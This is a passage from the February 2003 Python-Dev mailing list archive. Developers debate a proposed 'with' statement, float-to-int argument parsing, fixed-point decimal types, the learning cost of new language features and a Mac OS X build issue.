3000 ;). The adjustments i'm suggesting look pretty small to me: remove mutability, remove global state. When in doubt, simplify or remove features. Features can be always added later; but once a feature is in, dependencies force it to stay. -- ?!ng From mal@lemburg.com Wed Feb 5 08:59:17 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Wed, 05 Feb 2003 09:59:17 +0100 Subject: [Python-Dev] Passing floats to "i" parser marker In-Reply-To: References: Message-ID: <3E40D265.8080005@lemburg.com> nascheme@users.sourceforge.net wrote: > Update of /cvsroot/python/python/dist/src/Misc > In directory sc8-pr-cvs1:/tmp/cvs-serv10115/Misc > > Modified Files: > NEWS > Log Message: > If a float is passed where a int is expected, issue a DeprecationWarning > instead of raising a TypeError. Closes #660144 (again). > > ! - The PyArg_Parse functions now issue a DeprecationWarning if a float > ! argument is provided when an integer is specified (this affects the 'b', > ! 'B', 'h', 'H', 'i', and 'l' codes). Future versions of Python will > ! raise a TypeError. I must have missed something (again). Where was this discussed in public ? I've read a quote from Guido on the SF tracker: """ This is an age-old problem that crops up whenever "i" and similar format codes are used. The problem is that on the one hand you want "i" to accept other int-ish types that have an __int__ method. But on the other hand you don't want it to accept float, which also has an __int__ method. Or other float-ish types. I think the "i" format code has to be fixed, but I'm not sure how -- maybe as a start it would be sufficient to test explicitly for float and its subclasses and reject those. That would still allow 3rd party float-ish classes that implement __int__, but that's not so important. """ I tend to *not* go conform with this opinion. If a type implements __int__ then it should be accepted whereever "i" is used. If the type feels that this usage is not ideal, then the *type* should issue the warning or TypeError, not the getargs.c implementation. Apart from this, the change is going to break tons of code, once the TypeError is enforced and due to the dynamic nature of Python a single release cycle will not be enough to catch all places where an explicit int() would be required... Which makes me think: int() started to return longs a few months ago -- we don't even have a cast which would raise an OverlfowError in case the conversion to int is not possible. Of course, int() would return a long and then the "i" parser marker implementation would complain, but that may be too late, e.g. in the case where you pass the data over the wire or store it in a file for later processing. -- Marc-Andre Lemburg CEO eGenix.com Software GmbH _______________________________________________________________________ eGenix.com -- Makers of the Python mx Extensions: mxDateTime,mxODBC,... Python Consulting: http://www.egenix.com/ Python Software: http://www.egenix.com/files/python/ From mal@lemburg.com Wed Feb 5 09:07:12 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Wed, 05 Feb 2003 10:07:12 +0100 Subject: [Python-Dev] thunks In-Reply-To: <15936.12961.598773.128987@slothrop.zope.com> References: <200302031653.h13Grof20104@odiug.zope.com> <3E4019C5.2020408@lemburg.com> <15936.12961.598773.128987@slothrop.zope.com> Message-ID: <3E40D440.7040500@lemburg.com> Jeremy Hylton wrote: >>>>>>"MAL" == M writes: > > MAL> Tim, what have you been putting into Guido's coffee the last > MAL> few days ? > > Right idea, wrong question. The only thing we've got in the office is > a colored beverage that is reminiscent of coffee. You should ask what > Tim is putting in Guido's pickles. At least that's more or less documented in a PEP (hmm, perhaps he forgot to update the TBD section ;-) -- Marc-Andre Lemburg CEO eGenix.com Software GmbH _______________________________________________________________________ eGenix.com -- Makers of the Python mx Extensions: mxDateTime,mxODBC,... Python Consulting: http://www.egenix.com/ Python Software: http://www.egenix.com/files/python/ From mal@lemburg.com Wed Feb 5 09:18:23 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Wed, 05 Feb 2003 10:18:23 +0100 Subject: trying times [Python-Dev] thunks In-Reply-To: <068a01c2cc8e$31e97140$6d94fea9@newmexico> References: <200302031653.h13Grof20104@odiug.zope.com> <3E4019C5.2020408@lemburg.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> Message-ID: <3E40D6DF.4000904@lemburg.com> Samuele Pedroni wrote: > From: "M.-A. Lemburg" > >>Tim, what have you been putting into Guido's coffee the last few >>days ? Colons seem to have grown magical expressiveness and now he >>even likes lambdas ;-) > > these are trying times: > > http://online.effbot.org/2003_02_01_archive.htm#python-dev Trying is fine, but Fredrik has a point there. -- Marc-Andre Lemburg CEO eGenix.com Software GmbH _______________________________________________________________________ eGenix.com -- Makers of the Python mx Extensions: mxDateTime,mxODBC,... Python Consulting: http://www.egenix.com/ Python Software: http://www.egenix.com/files/python/ From Paul.Moore@atosorigin.com Wed Feb 5 09:49:51 2003 From: Paul.Moore@atosorigin.com (Moore, Paul) Date: Wed, 5 Feb 2003 09:49:51 -0000 Subject: [Python-Dev] With statement Message-ID: <16E1010E4581B049ABC51D4975CEDB886199DB@UKDCX001.uk.int.atosorigin.com> From: Alex Martelli [mailto:aleax@aleax.it] > Indeed, why _shouldn't_ file do the obvious thing? Just > like it has a __del__ =3D close, so should it have an __exit__ > (the latter only if with IS introduced, of course). I've added a note to the PEP. The main disadvantage I can see is that if file objects have __exit__ =3D close, then people will write code which uses "with myfile". That code then won't work with a StringIO object (unless StringIO grows an __exit__ method). OK, so we add it to StringIO. But my point is that __exit__ =3D close becomes an important part of the "file-like object" protocol. I don't have a strong opinion. I've left it as an open issue. (Actually, I do have a strong opinion - I don't want to add more requirements to the already-vague file object protocol, just for the sake of convenience. But I don't want to spend time arguing over it :-)) Paul From oren-py-d@hishome.net Wed Feb 5 10:11:18 2003 From: oren-py-d@hishome.net (Oren Tirosh) Date: Wed, 5 Feb 2003 05:11:18 -0500 Subject: [Python-Dev] With statement In-Reply-To: <16E1010E4581B049ABC51D4975CEDB886199D4@UKDCX001.uk.int.atosorigin.com> References: <16E1010E4581B049ABC51D4975CEDB886199D4@UKDCX001.uk.int.atosorigin.com> Message-ID: <20030205101118.GA65334@hishome.net> On Tue, Feb 04, 2003 at 11:58:15AM -0000, Moore, Paul wrote: > I'm rapidly tending towards a preference for extreme simplicity in the with > statement. My basic logic is that the C++ idiom for all this is pretty > minimal, and works well (even though C++ has no "finally" equivalent, so the > need is more pressing in C++). > > So, my current feeling is: > > 'with' expr ':' > suite > > expands to > > _x = expr > if hasattr(_x, '__enter__'): > _x.__enter__() > try: > suite > finally: > if hasattr(_x, '__exit__'): > _x.__exit__() Hmmm, __enter__ and __exit__ still look suspiciously like __init__ and __del__ to me. If the problem is that __del__ is not guaranteed to be called if there are remaining references to the object (or in a GC based system like Jython) why not address this issue directly? Let's assume that a new 'local' statement is added to Python. At the end of the current block the __del__ method of any references declared local is guaranteed to be called. The object must have exactly one remaining reference, otherwise an exception is raised. In a GC implementation it may make some change to the object so that any remaining references to it become stale references and raise an exception as soon as they are touched in any way. Note that a reference to a closed file object is already a stale reference and raises an exception if any I/O operation is attempted on it. So autoclose just becomes: local f = open(...) Automatic reference counting and garbage collection is great most of the time but more explicit control of the intended lifetime of an object can sometimes be useful. Oren From duncan@rcp.co.uk Wed Feb 5 10:32:03 2003 From: duncan@rcp.co.uk (Duncan Booth) Date: Wed, 5 Feb 2003 10:32:03 +0000 Subject: [Python-Dev] With statement References: <3E3FF36A.2897.6EF9DD6@localhost> <200302050337.h153b4v12977@oma.cosc.canterbury.ac.nz> Message-ID: Greg Ewing wrote in news:200302050337.h153b4v12977@oma.cosc.canterbury.ac.nz: >> with lock(my_lock): >> # protected code > > But if my_lock is already a lock object, with appropriate enter > and leave methods, what would the lock() function do? > > If the answer is > > def lock(x): > return x > > then I'd say that I don't like the idea of a do-nothing > function whose purpose is only to make the code look > pretty. > Sorry, I didn't make myself clear. 'lock' here is an adapter class to let Threading.Lock be used in a with statement. The definition would be: class lock: def __init__(self, lockable): self.lockable = lockable lockable.acquire() def __exit__(self): self.lockable.release() My point being that the existing proposal with __enter__ and __exit__ may be replaced by a simpler proposal with only __exit__ by using a class which does the __enter__ functionality in the constructor. If the proposal was to change the existing Threading.Lock class so that it directly supported use in a 'with' statement, then one way would be to add __enter__ and __exit__ methods. An alternative which doesn't require __enter__ at all would be to add a single 'lock' method that creates a lock object as defined above. Then the code might look something like: my_lock = Threading.Lock() ... with my_lock.lock(): ... protected code ... -- Duncan Booth duncan@rcp.co.uk int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3" "\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure? From tismer@tismer.com Wed Feb 5 11:31:44 2003 From: tismer@tismer.com (Christian Tismer) Date: Wed, 05 Feb 2003 12:31:44 +0100 Subject: Shame on us all! (was: trying times [Python-Dev] thunks) In-Reply-To: <3E40D6DF.4000904@lemburg.com> References: <200302031653.h13Grof20104@odiug.zope.com> <3E4019C5.2020408@lemburg.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> <3E40D6DF.4000904@lemburg.com> Message-ID: <3E40F620.2090708@tismer.com> M.-A. Lemburg wrote: > Samuele Pedroni wrote: > >> From: "M.-A. Lemburg" >> >>> Tim, what have you been putting into Guido's coffee the last few >>> days ? Colons seem to have grown magical expressiveness and now he >>> even likes lambdas ;-) >> >> >> these are trying times: >> >> http://online.effbot.org/2003_02_01_archive.htm#python-dev > > > Trying is fine, but Fredrik has a point there. If that weren's enough, python-dev is topping itself: """ python-dev is discussing decimal arithmetics in a thread titled "why did fredrik leave the party" """ http://online.effbot.org/2003_02_01_archive.htm#irony Subject lines seem to have no relevance any longer in this list. Let's continue this way and see more people saying good-bye. -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From mal@lemburg.com Wed Feb 5 11:34:22 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Wed, 05 Feb 2003 12:34:22 +0100 Subject: [Python-Dev] Fixed-point numeric type In-Reply-To: References: Message-ID: <3E40F6BE.10107@lemburg.com> Just as data point: I started developing mxNumber to experiment with fixed point and rational numeric types (supplied by GMP). My original intention was to make use of these in mxODBC since databases rather commonly use DECIMAL as database column type. The net-interest was next to zero which is why I stopped bothering. I may still continue due to reasons of roundtrip safety in database interfacing, but I'm inclined to believe that Python users in the financial business either have no interest or have found their own particular solutions to the problem of dealing with fixed point arithmetic (mostly to store monetary values) -- provided that rounding pays off for them, I don't think that they are bothered at all with using floats ;-) BTW, mxNumber types implement many of Ping's requests. And they are fast as hell, since the underlying GMP implementation uses assembler where possible. -- Marc-Andre Lemburg CEO eGenix.com Software GmbH _______________________________________________________________________ eGenix.com -- Makers of the Python mx Extensions: mxDateTime,mxODBC,... Python Consulting: http://www.egenix.com/ Python Software: http://www.egenix.com/files/python/ From jacobs@penguin.theopalgroup.com Wed Feb 5 12:27:33 2003 From: jacobs@penguin.theopalgroup.com (Kevin Jacobs) Date: Wed, 5 Feb 2003 07:27:33 -0500 (EST) Subject: [Python-Dev] Fixed-point numeric type In-Reply-To: <3E40F6BE.10107@lemburg.com> Message-ID: On Wed, 5 Feb 2003, M.-A. Lemburg wrote: > Just as data point: > > I started developing mxNumber to experiment with fixed point > and rational numeric types (supplied by GMP). My original intention > was to make use of these in mxODBC since databases rather commonly > use DECIMAL as database column type. > > The net-interest was next to zero which is why I stopped bothering. I'm finding that this is a problem in education, not desire. Once you educate developers, they will demand decimal types. Unfortunately, I've found that many db developers are completely ignorant of the caveats of both fixed and floating point arithmetic. They naively "just want things to work" and aren't too worried about the details or the corner-cases. (I blame this on the cruddy computer science content of many CIS degree programs, but that is a topic for a different rant.) Nevertheless, I would like to seeing proper fixed point support in the Python standard library with integration advise in a DB-API extension standard or PEP. As it is, our applications patch many of the DB-API modules to add support for our own homebrew decimal types, and it is fairly cumbersome to maintain. > I may still continue due to reasons of roundtrip safety in > database interfacing, but I'm inclined to believe that Python > users in the financial business either have no interest or > have found their own particular solutions to the problem of > dealing with fixed point arithmetic [...] We (my company) are in the latter camp. However, I've talked to a number of developers who decided not to use Python for financial apps because DB-API drivers punt on decimal types. Maybe that is why it is so quiet on this front? Regards, -Kevin -- -- Kevin Jacobs The OPAL Group - Enterprise Systems Architect Voice: (216) 986-0710 x 19 E-mail: jacobs@theopalgroup.com Fax: (216) 986-0714 WWW: http://www.theopalgroup.com From guido@python.org Wed Feb 5 13:05:33 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 05 Feb 2003 08:05:33 -0500 Subject: trying times [Python-Dev] thunks In-Reply-To: "Your message of Wed, 05 Feb 2003 10:18:23 +0100." <3E40D6DF.4000904@lemburg.com> References: <200302031653.h13Grof20104@odiug.zope.com> <3E4019C5.2020408@lemburg.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> <3E40D6DF.4000904@lemburg.com> Message-ID: <200302051305.h15D5Ya23805@pcp02138704pcs.reston01.va.comcast.net> > > these are trying times: > > > > http://online.effbot.org/2003_02_01_archive.htm#python-dev > > Trying is fine, but Fredrik has a point there. Followup: http://online.effbot.org/2003_02_01_archive.htm#irony """ # irony: python-dev is discussing decimal arithmetics in a thread titled "why did fredrik leave the party". to the extent yesterday's post had a point, I think this proves it ;-) """ --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Wed Feb 5 13:24:40 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 05 Feb 2003 08:24:40 -0500 Subject: [Python-Dev] Passing floats to "i" parser marker In-Reply-To: "Your message of Wed, 05 Feb 2003 09:59:17 +0100." <3E40D265.8080005@lemburg.com> References: <3E40D265.8080005@lemburg.com> Message-ID: <200302051324.h15DOeJ23879@pcp02138704pcs.reston01.va.comcast.net> > I must have missed something (again). Where was this discussed in > public ? The problem (and my opinion) has come up here on and off many times. > I've read a quote from Guido on the SF tracker: > """ > This is an age-old problem that crops up whenever "i" > and similar format codes are used. > > The problem is that on the one hand you want "i" to > accept other int-ish types that have an __int__ method. But on the > other hand you don't want it to accept float, which also has > an __int__ method. Or other float-ish types. > > I think the "i" format code has to be fixed, but I'm > not sure how -- maybe as a start it would be sufficient to test > explicitly for float and its subclasses and reject those. > That would still allow 3rd party float-ish classes that > implement __int__, but that's not so important. > """ > > I tend to *not* go conform with this opinion. If a type > implements __int__ then it should be accepted whereever > "i" is used. If the type feels that this usage is not > ideal, then the *type* should issue the warning or > TypeError, not the getargs.c implementation. Since all the type knows is that it's __int__ method is called, not that this is in the context of getargs.c, how could it protest in this case without protesting about all calls to int()? The problem is really with the semantic definition of int(). There should have been two different functions: one to convert an int from some other representation to a real int, and one to truncate a float or similar number to an int, losing information. (The latter actually requires several, or a way to specify the rounding mode. Unfortunately round() and math.floor()/ceil() can't be used since these return floats themselves.) Fixing this would require a much larger change to the language, with much more backwards incompatibilities to worry about; changing "i" etc. to explicitly refuse float is a band-aid that catches most of the cases. By far the majority of types that implement __int__ represent int-like data; only floats and rationals use __int__ for losing information. That's why the above solution was chosen. > Apart from this, the change is going to break tons of code, > once the TypeError is enforced and due to the dynamic > nature of Python a single release cycle will not be > enough to catch all places where an explicit int() > would be required... We'll change to a TypeError when we are confident that it won't break too much code. Why do you think so much will break? In Python 2.2, you can write a = range(10) a.insert(3.14, 0) and it will insert a 0 at position 3. This is undocumented. Do you really think anyone in the world willfully uses this? > Which makes me think: int() started > to return longs a few months ago -- we don't even have > a cast which would raise an OverlfowError in case > the conversion to int is not possible. Why would you need one (except in C code, where "i" is such a cast)? In the future, the difference between int and long will disappear completely. > Of course, int() > would return a long and then the "i" parser marker > implementation would complain, but that may be too late, e.g. > in the case where you pass the data over the wire or > store it in a file for later processing. YAGNI. --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Wed Feb 5 13:32:47 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 05 Feb 2003 08:32:47 -0500 Subject: [Python-Dev] New syntax threads -- summary wanted Message-ID: <200302051332.h15DWmh23920@pcp02138704pcs.reston01.va.comcast.net> I am asking everyone who has participated in the thread(s) about new syntax (with, thunks, etc.) to hold off posting for a day, and think about summarizing the state of the discussion. Then if someone could post a summary of the various proposals on the table, with the key arguments pro and con for each, I'd like to start continuing. The goal at this point should be one or more PEPs. If you would like to volunteer to (co-)author a thread summary, please post to the list. The first volunteer to post gets to coordinate the others. --Guido van Rossum (home page: http://www.python.org/~guido/) From mwh@python.net Wed Feb 5 13:42:39 2003 From: mwh@python.net (Michael Hudson) Date: Wed, 05 Feb 2003 13:42:39 +0000 Subject: trying times [Python-Dev] thunks In-Reply-To: <3E40D6DF.4000904@lemburg.com> ("M.-A. Lemburg"'s message of "Wed, 05 Feb 2003 10:18:23 +0100") References: <200302031653.h13Grof20104@odiug.zope.com> <3E4019C5.2020408@lemburg.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> <3E40D6DF.4000904@lemburg.com> Message-ID: <2mptq6oncg.fsf@starship.python.net> "M.-A. Lemburg" writes: >> these are trying times: >> http://online.effbot.org/2003_02_01_archive.htm#python-dev > > Trying is fine, but Fredrik has a point there. Yes: he needs a better mail reader. mostly-serious-ly y'rs, M. (actually someone has already suggesting throwing a newsreader at the problem, to judge by the follow-up). -- If you don't have friends with whom to share links and conversation, you have social problems and you should confront them instead of joining a cultlike pseudo-community. -- "Quit Slashdot.org Today!" (http://www.cs.washington.edu/homes/klee/misc/slashdot.html#faq) From mwh@python.net Wed Feb 5 13:44:46 2003 From: mwh@python.net (Michael Hudson) Date: Wed, 05 Feb 2003 13:44:46 +0000 Subject: [Python-Dev] BUILDEXE erroneously empty on 2.2.2 for Mac OS X? In-Reply-To: <15936.18440.704332.854883@montanaro.dyndns.org> (Skip Montanaro's message of "Tue, 4 Feb 2003 17:08:56 -0600") References: <15936.18440.704332.854883@montanaro.dyndns.org> Message-ID: <2mn0laon8x.fsf@starship.python.net> Skip Montanaro writes: > I just wiped my maint22 directory clean, did a cvs up, configure and make on > my Mac OS X machine. BUILDEXE got set to the empty string, so the link step > for the interpreter failed. Is this a known problem? I haven't rebuilt > 2.2.2 in awhile (since October). This was a vanilla Unix build, nothing > fancy. I don't think the case-sensitive file-system chack has ever made it to the 22-maint branch. Feel free to backport it, but notice that 22-maint still uses autoconf 2.13 (I /suspect/ this is why it hasn't happened before). Cheers, M. -- Q: Isn't it okay to just read Slashdot for the links? A: No. Reading Slashdot for the links is like having "just one hit" off the crack pipe. -- http://www.cs.washington.edu/homes/klee/misc/slashdot.html#faq From lutz@rmi.net Wed Feb 5 13:58:14 2003 From: lutz@rmi.net (Mark Lutz) Date: Wed, 5 Feb 2003 06:58:14 -0700 Subject: [Python-Dev] Why did Fredrik leave the party? References: <200302031653.h13Grof20104@odiug.zope.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> <200302042057.h14KvEI26727@odiug.zope.com> <200302041843.30945.mclay@nist.gov> <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy> Guido wrote: > > Generators are cool once you understand them, but they raise the bar > > for someone new to the language. > > That all depends. You don't have to teach generators at all in an > introductory course -- you don't even have to teach iterators. But > all this has been discussed many times before here in numerous > threads. Not true. I don't think people on python-dev are in touch with the impacts of their changes on the Python learning curve. In every organization, there will be both advanced programmers and beginners. And in every organization, there will be at least one advanced programmer who will discover and use the new cool features, and thus impose them upon everyone else. Trust me on this. I've met these people; hell, I used to be one of these people :-). The fact is, today, some of the most common questions I get in Python classes have to do with new things like list comprehensions and generators, regardless of class makeup. I don't have time to argue the merits of adding new features in the first place. But please, let's not be naive about their impact on the perceived simplicity of Python. Like it or not, beginners do need to know about new things, even if they will not be coding them. And like it or not, Python has indeed lost much of the simplicity that attracted some. There's always been a dichotomy of people who want to keep it simple, and people who want to add new features. After just updating Learning Python, it's pretty obvious that the latter group has won the tug of war in recent years. Try explaining the current 3 flavors of division to a beginner sometime and you'll see what I mean. --Mark Lutz (http://www.rmi.net/~lutz) From mwh@python.net Wed Feb 5 13:35:57 2003 From: mwh@python.net (Michael Hudson) Date: Wed, 05 Feb 2003 13:35:57 +0000 Subject: [Python-Dev] With statement In-Reply-To: <20030205101118.GA65334@hishome.net> (Oren Tirosh's message of "Wed, 5 Feb 2003 05:11:18 -0500") References: <16E1010E4581B049ABC51D4975CEDB886199D4@UKDCX001.uk.int.atosorigin.com> <20030205101118.GA65334@hishome.net> Message-ID: <2msmv2onnm.fsf@starship.python.net> Oren Tirosh writes: > Let's assume that a new 'local' statement is added to Python. At the end > of the current block the __del__ method of any references declared local > is guaranteed to be called. The object must have exactly one remaining > reference, otherwise an exception is raised. In a GC implementation it may > make some change to the object so that any remaining references to it > become stale references and raise an exception as soon as they are touched > in any way. Note that a reference to a closed file object is already a > stale reference and raises an exception if any I/O operation is attempted > on it. Two comments: 1) The resource-allocation-is-initialization pattern works very well in C++, but I'm unconvinced that we should aim to copy it exactly -- it's a nice solution to the problem, but not the only possible or best one, IMHO. 2) Without the ability to define a scope at will, RAiI becomes less useful. Cheers, M. -- If your telephone company installs a system in the woods with no one around to see them, do they still get it wrong? -- Robert Moir, alt.sysadmin.recovery From skip@pobox.com Wed Feb 5 14:34:50 2003 From: skip@pobox.com (Skip Montanaro) Date: Wed, 5 Feb 2003 08:34:50 -0600 Subject: [Python-Dev] BUILDEXE erroneously empty on 2.2.2 for Mac OS X? In-Reply-To: <2mn0laon8x.fsf@starship.python.net> References: <15936.18440.704332.854883@montanaro.dyndns.org> <2mn0laon8x.fsf@starship.python.net> Message-ID: <15937.8458.403942.646553@montanaro.dyndns.org> >> I just wiped my maint22 directory clean, did a cvs up, configure and >> make on my Mac OS X machine. BUILDEXE got set to the empty string, Michael> I don't think the case-sensitive file-system chack has ever Michael> made it to the 22-maint branch. I think the build worked fine for me back in October (at least I don't remember having to execute "make BUILDEXE=.exe". It seems something changed in the intervening time. Michael> Feel free to backport it... Since you are the acknowledged backport master, and I have never done a retrospective backport before, can you give me some clues about how to find "it"? Skip From mal@lemburg.com Wed Feb 5 14:41:05 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Wed, 05 Feb 2003 15:41:05 +0100 Subject: [Python-Dev] Passing floats to "i" parser marker In-Reply-To: <200302051324.h15DOeJ23879@pcp02138704pcs.reston01.va.comcast.net> References: <3E40D265.8080005@lemburg.com> <200302051324.h15DOeJ23879@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <3E412281.4050106@lemburg.com> Guido van Rossum wrote: >>I must have missed something (again). Where was this discussed in >>public ? > > > The problem (and my opinion) has come up here on and off many times. Hmm, I must have been on vacation then :-) >>I've read a quote from Guido on the SF tracker: >>""" >>This is an age-old problem that crops up whenever "i" >>and similar format codes are used. >> >>The problem is that on the one hand you want "i" to >>accept other int-ish types that have an __int__ method. But on the >>other hand you don't want it to accept float, which also has >>an __int__ method. Or other float-ish types. >> >>I think the "i" format code has to be fixed, but I'm >>not sure how -- maybe as a start it would be sufficient to test >>explicitly for float and its subclasses and reject those. >>That would still allow 3rd party float-ish classes that >>implement __int__, but that's not so important. >>""" >> >>I tend to *not* go conform with this opinion. If a type >>implements __int__ then it should be accepted whereever >>"i" is used. If the type feels that this usage is not >>ideal, then the *type* should issue the warning or >>TypeError, not the getargs.c implementation. > > Since all the type knows is that it's __int__ method is called, not > that this is in the context of getargs.c, how could it protest in this > case without protesting about all calls to int()? But that's the point: "i" should work just like int() does w/r to the __int__ slot and it does, so nothing is broken which would need fixing. IMHO, the right way to fix what you think is broken is by introducing a new parser marker with your new semantics. Then use that parser marker whereever it is found meaningful. > The problem is really with the semantic definition of int(). There > should have been two different functions: one to convert an int from > some other representation to a real int, and one to truncate a float > or similar number to an int, losing information. (The latter actually > requires several, or a way to specify the rounding mode. > Unfortunately round() and math.floor()/ceil() can't be used since > these return floats themselves.) > > Fixing this would require a much larger change to the language, with > much more backwards incompatibilities to worry about; changing "i" > etc. to explicitly refuse float is a band-aid that catches most of the > cases. The problem is that your change propogates to all third-party extensions as well and that's not desirable in all cases. IMHO, it is not even desirable for all cases in the Python interpreter (see below). > By far the majority of types that implement __int__ represent int-like > data; only floats and rationals use __int__ for losing information. > That's why the above solution was chosen. I'm sure that all numeric-like types implement __int__ for the sake of being compatible to int(). >>Apart from this, the change is going to break tons of code, >>once the TypeError is enforced and due to the dynamic >>nature of Python a single release cycle will not be >>enough to catch all places where an explicit int() >>would be required... > > We'll change to a TypeError when we are confident that it won't break > too much code. > > Why do you think so much will break? In Python 2.2, you can write > > a = range(10) > a.insert(3.14, 0) > > and it will insert a 0 at position 3. This is undocumented. Do you > really think anyone in the world willfully uses this? No, this is one spot where the new parser marker would fit well. Still, even in this case I think that passing floats to "i" is perfectly OK, namely in all those cases where no loss of data occurs, e.g. passing 13.0 to "i" should be accepted as 13. >>Which makes me think: int() started >>to return longs a few months ago -- we don't even have >>a cast which would raise an OverlfowError in case >>the conversion to int is not possible. > > Why would you need one (except in C code, where "i" is such a cast)? For exactly this case -- to make sure that "i" doesn't overflow when receiving the return value from int(). > In the future, the difference between int and long will disappear > completely. > >>Of course, int() >>would return a long and then the "i" parser marker >>implementation would complain, but that may be too late, e.g. >>in the case where you pass the data over the wire or >>store it in a file for later processing. > > YAGNI. I wasn't proposing anything in the above paragraph... what does YAGNI apply to here ? -- Marc-Andre Lemburg CEO eGenix.com Software GmbH _______________________________________________________________________ eGenix.com -- Makers of the Python mx Extensions: mxDateTime,mxODBC,... Python Consulting: http://www.egenix.com/ Python Software: http://www.egenix.com/files/python/ From guido@python.org Wed Feb 5 14:48:21 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 05 Feb 2003 09:48:21 -0500 Subject: [Python-Dev] Why did Fredrik leave the party? In-Reply-To: Your message of "Wed, 05 Feb 2003 06:58:14 MST." <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy> References: <200302031653.h13Grof20104@odiug.zope.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> <200302042057.h14KvEI26727@odiug.zope.com> <200302041843.30945.mclay@nist.gov> <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net> <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy> Message-ID: <200302051448.h15EmL428173@odiug.zope.com> [Michael] > > > Generators are cool once you understand them, but they raise the bar > > > for someone new to the language. [Guido] > > That all depends. You don't have to teach generators at all in an > > introductory course -- you don't even have to teach iterators. But > > all this has been discussed many times before here in numerous > > threads. [Mark] > Not true. I don't think people on python-dev are in touch > with the impacts of their changes on the Python learning curve. > > In every organization, there will be both advanced programmers > and beginners. And in every organization, there will be at least > one advanced programmer who will discover and use the new > cool features, and thus impose them upon everyone else. > > Trust me on this. I've met these people; hell, I used to be one > of these people :-). The fact is, today, some of the most common > questions I get in Python classes have to do with new things like > list comprehensions and generators, regardless of class makeup. > > I don't have time to argue the merits of adding new features in the > first place. But please, let's not be naive about their impact on > the perceived simplicity of Python. Like it or not, beginners do > need to know about new things, even if they will not be coding them. > > And like it or not, Python has indeed lost much of the simplicity that > attracted some. There's always been a dichotomy of people who want > to keep it simple, and people who want to add new features. After > just updating Learning Python, it's pretty obvious that the latter group > has won the tug of war in recent years. Try explaining the current 3 > flavors of division to a beginner sometime and you'll see what I mean. Thanks for the reality check! One of the problems with "improving" a complex software system is that, no matter how hard you try, it's nearly impossible to take away thing, so that when a new solution for an old issue is added, the old solution stays around. The division operator is a case in point: in Python 3.0, there will only be two division operators: floor division and true division. Arguably, this is no more complex than the situation before // was introduced: while there was only one division operator, there were two kinds of semantics that one had to learn and watch out for. (I assure you we've all been bitten by this more than once. Most recently, I saw it on the review page of a certain conference, in the calculation of the average score of submitted papers. [*]) But the transitional situation has the union of the old and the new world, and hence is more messy than either. There's also the tension between making the language simpler (to learn) and making programs simpler (to read). For example, *if* (and that's still a very big if) we were to add a language feature that would let you write synchronized(lock): BLOCK instead of lock.aqcuire() try: BLOCK finally: lock.release() I assure you that this makes programs that use locks more readable, which reduces maintenance costs down the road. But at the same time we can't hope to reduce every idiom to a single statement, and we must be careful not to destroy the language by adding too many "neat tricks". It's a delicate balance, and the occasional reality check from the field is much appreciated. _____ [*] In 3.0, you'll have to remember that if you want integer division, you must write // instead of /. But the problems caused by writing / where you intended // are usually immediately obvious (often the program won't even run, if the resulting float is used as an index somewhere); while the problems caused by silent truncation of int/int are often only discovered by careful checking of actual results with expected results. --Guido van Rossum (home page: http://www.python.org/~guido/) From barry@python.org Wed Feb 5 14:15:41 2003 From: barry@python.org (Barry A. Warsaw) Date: Wed, 5 Feb 2003 09:15:41 -0500 Subject: trying times [Python-Dev] thunks References: <200302031653.h13Grof20104@odiug.zope.com> <3E4019C5.2020408@lemburg.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> <3E40D6DF.4000904@lemburg.com> <2mptq6oncg.fsf@starship.python.net> Message-ID: <15937.7309.957878.485539@gargle.gargle.HOWL> >>>>> "MH" == Michael Hudson writes: MH> (actually someone has already suggesting throwing a newsreader MH> at the problem, to judge by the follow-up). news:gmane.comp.python.devel -Barry From mwh@python.net Wed Feb 5 14:53:43 2003 From: mwh@python.net (Michael Hudson) Date: Wed, 05 Feb 2003 14:53:43 +0000 Subject: [Python-Dev] BUILDEXE erroneously empty on 2.2.2 for Mac OS X? In-Reply-To: <15937.8458.403942.646553@montanaro.dyndns.org> (Skip Montanaro's message of "Wed, 5 Feb 2003 08:34:50 -0600") References: <15936.18440.704332.854883@montanaro.dyndns.org> <2mn0laon8x.fsf@starship.python.net> <15937.8458.403942.646553@montanaro.dyndns.org> Message-ID: <2mel6mok20.fsf@starship.python.net> Skip Montanaro writes: > >> I just wiped my maint22 directory clean, did a cvs up, configure and > >> make on my Mac OS X machine. BUILDEXE got set to the empty string, > > Michael> I don't think the case-sensitive file-system chack has ever > Michael> made it to the 22-maint branch. > > I think the build worked fine for me back in October (at least I don't > remember having to execute "make BUILDEXE=.exe". It seems something changed > in the intervening time. Hmm. Looking at CVS suggests that 2.2 sets BUILDEXE correctly if you are building in-tree, but not out of tree. Could that be the difference? (ran configure to test, found an empty BUILDEXE, then realized I'm still on the linux box, doh). 